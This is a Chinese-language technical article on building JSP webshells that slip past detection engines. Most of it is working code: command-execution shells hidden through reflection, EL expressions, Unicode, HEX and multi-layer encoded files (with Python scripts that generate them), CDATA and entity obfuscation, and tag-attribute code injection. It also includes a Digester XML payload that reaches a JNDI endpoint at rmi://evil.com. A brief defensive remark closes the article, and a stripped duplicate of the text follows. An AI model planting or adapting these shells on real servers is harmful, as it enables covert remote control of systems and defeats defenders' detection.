攻与防:JSP Webshell检测引擎的对抗
字数 2041 2025-09-23 19:27:46

JSP Webshell 检测引擎对抗技术全解析

1. 引言

JSP (JavaServer Pages) Webshell 是攻击者攻陷Java Web应用后植入的后门脚本,用于实现远程控制、数据窃取等恶意操作。随着静态检测引擎(如RASP、杀毒软件、代码审计工具)的发展,攻击者不断演化其技术以绕过检测。本文档系统性地梳理了从基础到高级的JSP Webshell构造与绕过技术。

2. 基础JSP Webshell构造

2.1 直接命令执行

最基础的Webshell通过RuntimeProcessBuilder执行系统命令。

示例1:使用 Runtime

<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process process = Runtime.getRuntime().exec(cmd);
        // ... 处理输入流并回显结果
    }
%>

示例2:使用 ProcessBuilder

<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process process = new ProcessBuilder(new String[]{cmd}).start();
        // ... 处理输入流并回显结果
    }
%>

2.2 反射调用ProcessImpl

绕过可能对RuntimeProcessBuilder进行关键字检测的引擎。

<%
    Class<?> aClass = Class.forName("java.lang.ProcessImpl");
    Method start = aClass.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
    start.setAccessible(true);
    Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true);
    // ... 处理输入流并回显结果
%>

3. 利用JSP/EL表达式特性

3.1 EL表达式执行

EL表达式不仅能在${}中执行,还能嵌入JSP标签属性中。

在Body中执行

<%= pageContext.getAttribute("obj").exec(param.cmd) %>
<!-- 或在JSPX中 -->
<jsp:expression>EL表达式</jsp:expression>

在标签属性中执行

<jsp:useBean id="test" type="java.lang.Class" beanName="${Runtime.getRuntime().exec(param.cmd)}"></jsp:useBean>

复杂链式调用

${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}
<!-- 通过请求参数动态拼接调用链,极大增加检测难度 -->

3.2 反射与非黑名单方法

利用冷门类或反射机制调用方法。

反射PropertyReference示例

<%
PropertyReference reference = new PropertyReference(String.class, "test");
Field reflected = PropertyReference.class.getDeclaredField("reflected");
reflected.setAccessible(true);
reflected.set(reference, true); // 跳过判断限制

Method method = Runtime.class.getDeclaredMethod("exec", String[].class);
Field setter = PropertyReference.class.getDeclaredField("setter");
setter.setAccessible(true);
setter.set(reference, method); // 设置恶意方法

reference.set(Runtime.getRuntime(), new String[]{"bash", "-c", "open -a Calculator"});
%>

使用非黑名单类 (JARSoundbankReader)

<%
    JARSoundbankReader reader = new JARSoundbankReader();
    URL url = new URL("http://xx.xx.xx.xx/");
    reader.getSoundbank(url); // 可能用于触发网络请求或反序列化
%>

4. 编码与混淆技术

4.1 基础编码绕过

ASCII码编码

<%
    // java.lang.Runtime
    Class<?> aClass = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));
%>

HEX编码

<%
    // java.lang.Runtime
    Class<?> aClass = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
%>

4.2 Unicode与注释符逃逸

完整Unicode编码Webshell

<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
<%@ page import="java.io.*"%>
<%
\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006d\u0064\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u003b
// ... (完整的Unicode编码脚本)
%>

解码后即为标准命令执行代码。

注释符逃逸 (利用换行符)

<%
    Process process = new ProcessBuilder(new String[]{cmd}).\u000d\uabcdstart();
    // \u000d (回车) 后的字符至下一行会被注释掉,但start()方法被成功调用
%>

4.3 多重编码与BOM

JSP容器支持多种编码解析(UTF-16BE, UTF-16LE, UTF-8, CP037, ISO-10646-UCS-4等),通过组合编码和BOM头可以绕过基于简单编码探测的检测引擎。

一重编码 (带BOM的UTF-16BE)

import codecs
s1 = '''<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'''
with open("shell1.jsp", "wb") as f1:
    f1.write(codecs.BOM_UTF16_BE)
    f1.write(s1.encode("utf-16be"))

二重编码 (BOM探测失败 + pageEncoding指定)

s0 = '''<%@ page pageEncoding="cp037" language="java"%>'''
s1 = '''<% ...命令执行代码... %>'''
with open("shell1.jsp", "wb") as f1:
    f1.write(s0.encode("utf-8"))  # 第一层:UTF-8
    f1.write(s1.encode("cp037"))  # 第二层:CP037 (EBCDIC)

容器先以默认编码(如UTF-8)解析,遇到pageEncoding="cp037"指令后,会用CP037重新解码文件剩余部分。

三重编码 (XML声明 + pageEncoding)

s08 = '''<?xml version="1.0" encoding='cp037'?>''' # 声明第二层编码
s0 = '''<%@ page pageEncoding="utf-16be" language="java"%>''' # 声明第三层编码
s1 = '''<% ...命令执行代码... %>'''

with open("shell1.jsp", "wb") as f1:
    f1.write(s08.encode("utf-8"))     # 第一层:UTF-8 (无BOM,探测失败)
    f1.write(s0.encode("cp037"))      # 第二层:CP037 -> 解析出pageEncoding指令
    f1.write(s1.encode("utf-16be"))   # 第三层:UTF-16BE -> 最终被执行

编码层次:文件物理存储 (UTF-8) -> XML声明指定 (CP037) -> Page指令指定 (UTF-16BE)。

5. 利用JSP/XML标签语法

5.1 JSP文档格式 (JSPX)

使用XML格式的JSP文档,替代传统<% ... %>写法。

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:directive.page contentType="text/html"/>
    <jsp:scriptlet>
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            // ... 处理过程
        }
    </jsp:scriptlet>
</jsp:root>

5.2 自定义标签前缀

<?xml version="1.0" encoding="UTF-8"?>
<demo:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:scriptlet>...</jsp:scriptlet>
</demo:root>

5.3 CDATA与HTML实体混淆

contentType="text/html"的JSPX中,可利用CDATA分段和HTML实体编码。

CDATA分割关键字

<jsp:scriptlet>
    String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
    // 解析后拼接为:request.getParameter("cmd")
</jsp:scriptlet>

HTML实体编码

<jsp:scriptlet>
    &#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x63;&#x6d;&#x64;&#x20;&#x3d;&#x20;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2e;&#x67;&#x65;&#x74;&#x50;&#x61;&#x72;&#x61;&#x6d;&#x65;&#x74;&#x65;&#x72;&#x28;&#x22;&#x63;&#x6d;&#x64;&#x22;&#x29;&#x3b;
    // "String cmd = request.getParameter("cmd");" 的实体编码
</jsp:scriptlet>

6. 高级逃逸与代码拼接

6.1 BeansExpression 分离关键字

将敏感方法调用拆解为Expression对象。

<%@ page import="java.beans.Expression" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Expression expression = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
        Process process = (Process) expression.getValue(); // 执行
        // ...
    }
%>

6.2 标签属性代码注入 (setProperty)

利用JSP编译时标签属性值的解析和Java代码生成过程中的拼接漏洞。

<jsp:setProperty name="\" + new java.util.function.Supplier<String>() {
        public String get() {
            try{
                String s = request.getParameter(\"cmd\");
                Process process = new ProcessBuilder().command(s.split(\"\\s+\")).start();
            } catch (Exception e) { e.printStackTrace();}
            return \"\";
        }
    }.get()" property="*" />

在编译生成的Java代码中,name属性的值会被拼接成字符串,其中的Java代码会被执行。

6.3 组合利用 useBean 和 setProperty

构造巧妙的注释符和语法结构实现完美逃逸。

<jsp:useBean id="a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\"));//" type="java.lang.Class" beanName=";" ></jsp:useBean>
<jsp:setProperty name="\"*/ /" property="*" ></jsp:setProperty>

生成的Java代码可能被拼接为:

java.lang.Class a;java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));// = ...;
// ...
("\"*/ /") * = ...; // 后面的代码被注释或错误结构包裹,但不影响前面命令执行

7. 检测引擎对抗策略

7.1 敏感信息隐藏

利用System Properties

<%
    System.setProperty("cmd", "calc");
    // 从System Property中读取命令,而非直接参数
    Process process = Runtime.getRuntime().exec(System.getProperty("cmd"));
%>

利用PageContext属性

${pageContext.setAttribute("obj", Runtime.getRuntime())}
${pageContext.getAttribute("obj").exec("open -a Calculator")}

7.2 破坏文件结构进行拼接

模拟JSP编译生成的_jspService方法结构,插入恶意代码并保证语法正确。

<%@ page import="java.beans.Expression" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    } catch (java.lang.Throwable t) {} finally {
        _jspxFactory.releasePageContext(_jspx_page_context);
    }
// 提前结束try块,然后插入自己的代码
try {
    if (cmd != null) {
        Expression expression = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
        Process process = (Process) expression.getValue();
        // ...
    }
// 原始生成的代码会继续...

7.3 传输与回显伪装

GET传参执行JS引擎

<%
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(request.getParameter("xxx")); // 通过GET参数传递JS Payload
%>

修改响应头伪装错误页面
将命令执行结果编码后,隐藏在伪装成404或500错误页面的HTML源码中(如隐藏的<input>标签的value属性)。

7.4 利用其他组件漏洞 (Digester)

触发其他可导致代码执行的解析过程,如Tomcat Digester XML解析。

<%
    org.apache.tomcat.util.digester.Digester digester = new org.apache.tomcat.util.digester.Digester();
    digester.addObjectCreate("Test/Loader", null, "className");
    digester.addSetProperties("Test/Loader");
    // 解析恶意XML,触发setter方法注入(如JNDI注入)
    digester.parse(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(request.getParameter("cmd"))));
%>

传入Base64编码的恶意XML:

<?xml version='1.0' encoding='utf-8'?>
<Test>
    <Loader className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://evil.com:1099/exploit" autoCommit="true"></Loader>
</Test>

8. 总结

JSP Webshell的对抗是一个持续演进的过程,核心思路围绕以下几点:

  1. 规避关键字:使用反射、冷门类、EL表达式、编码等方式隐藏敏感特征。
  2. 滥用语法特性:利用JSP/XML复杂的解析规则、编码识别顺序、标签属性解析等特性制造混淆。
  3. 代码结构破坏与拼接:利用编译生成逻辑,通过精心构造的注释符、字符串和代码块,在生成的Java源代码中插入恶意片段。
  4. 上下文隐藏:将核心Payload与触发条件分离,通过系统属性、PageContext、外部请求等方式动态获取。
  5. 伪装:对传输的Payload和返回的结果进行编码、伪装,绕过基于流量或响应的检测。

防御者需要深入理解JSP解析、编译的完整生命周期,并采用动态检测、语义分析、行为监控等多种手段相结合的方式,才能有效应对日益复杂的Webshell威胁。


JSP Webshell 检测引擎对抗技术全解析 1. 引言 JSP (JavaServer Pages) Webshell 是攻击者攻陷Java Web应用后植入的后门脚本,用于实现远程控制、数据窃取等恶意操作。随着静态检测引擎(如RASP、杀毒软件、代码审计工具)的发展,攻击者不断演化其技术以绕过检测。本文档系统性地梳理了从基础到高级的JSP Webshell构造与绕过技术。 2. 基础JSP Webshell构造 2.1 直接命令执行 最基础的Webshell通过 Runtime 或 ProcessBuilder 执行系统命令。 示例1:使用 Runtime 示例2:使用 ProcessBuilder 2.2 反射调用ProcessImpl 绕过可能对 Runtime 和 ProcessBuilder 进行关键字检测的引擎。 3. 利用JSP/EL表达式特性 3.1 EL表达式执行 EL表达式不仅能在 ${} 中执行,还能嵌入JSP标签属性中。 在Body中执行 在标签属性中执行 复杂链式调用 3.2 反射与非黑名单方法 利用冷门类或反射机制调用方法。 反射PropertyReference示例 使用非黑名单类 (JARSoundbankReader) 4. 编码与混淆技术 4.1 基础编码绕过 ASCII码编码 HEX编码 4.2 Unicode与注释符逃逸 完整Unicode编码Webshell 解码后即为标准命令执行代码。 注释符逃逸 (利用换行符) 4.3 多重编码与BOM JSP容器支持多种编码解析(UTF-16BE, UTF-16LE, UTF-8, CP037, ISO-10646-UCS-4等),通过组合编码和BOM头可以绕过基于简单编码探测的检测引擎。 一重编码 (带BOM的UTF-16BE) 二重编码 (BOM探测失败 + pageEncoding指定) 容器先以默认编码(如UTF-8)解析,遇到 pageEncoding="cp037" 指令后,会用CP037重新解码文件剩余部分。 三重编码 (XML声明 + pageEncoding) 编码层次:文件物理存储 (UTF-8) -> XML声明指定 (CP037) -> Page指令指定 (UTF-16BE)。 5. 利用JSP/XML标签语法 5.1 JSP文档格式 (JSPX) 使用XML格式的JSP文档,替代传统 <% ... %> 写法。 5.2 自定义标签前缀 5.3 CDATA与HTML实体混淆 在 contentType="text/html" 的JSPX中,可利用CDATA分段和HTML实体编码。 CDATA分割关键字 HTML实体编码 6. 高级逃逸与代码拼接 6.1 BeansExpression 分离关键字 将敏感方法调用拆解为 Expression 对象。 6.2 标签属性代码注入 (setProperty) 利用JSP编译时标签属性值的解析和Java代码生成过程中的拼接漏洞。 在编译生成的Java代码中, name 属性的值会被拼接成字符串,其中的Java代码会被执行。 6.3 组合利用 useBean 和 setProperty 构造巧妙的注释符和语法结构实现完美逃逸。 生成的Java代码可能被拼接为: 7. 检测引擎对抗策略 7.1 敏感信息隐藏 利用System Properties 利用PageContext属性 7.2 破坏文件结构进行拼接 模拟JSP编译生成的 _jspService 方法结构,插入恶意代码并保证语法正确。 7.3 传输与回显伪装 GET传参执行JS引擎 修改响应头伪装错误页面 将命令执行结果编码后,隐藏在伪装成404或500错误页面的HTML源码中(如隐藏的 <input> 标签的value属性)。 7.4 利用其他组件漏洞 (Digester) 触发其他可导致代码执行的解析过程,如Tomcat Digester XML解析。 传入Base64编码的恶意XML: 8. 总结 JSP Webshell的对抗是一个持续演进的过程,核心思路围绕以下几点: 规避关键字 :使用反射、冷门类、EL表达式、编码等方式隐藏敏感特征。 滥用语法特性 :利用JSP/XML复杂的解析规则、编码识别顺序、标签属性解析等特性制造混淆。 代码结构破坏与拼接 :利用编译生成逻辑,通过精心构造的注释符、字符串和代码块,在生成的Java源代码中插入恶意片段。 上下文隐藏 :将核心Payload与触发条件分离,通过系统属性、PageContext、外部请求等方式动态获取。 伪装 :对传输的Payload和返回的结果进行编码、伪装,绕过基于流量或响应的检测。 防御者需要深入理解JSP解析、编译的完整生命周期,并采用动态检测、语义分析、行为监控等多种手段相结合的方式,才能有效应对日益复杂的Webshell威胁。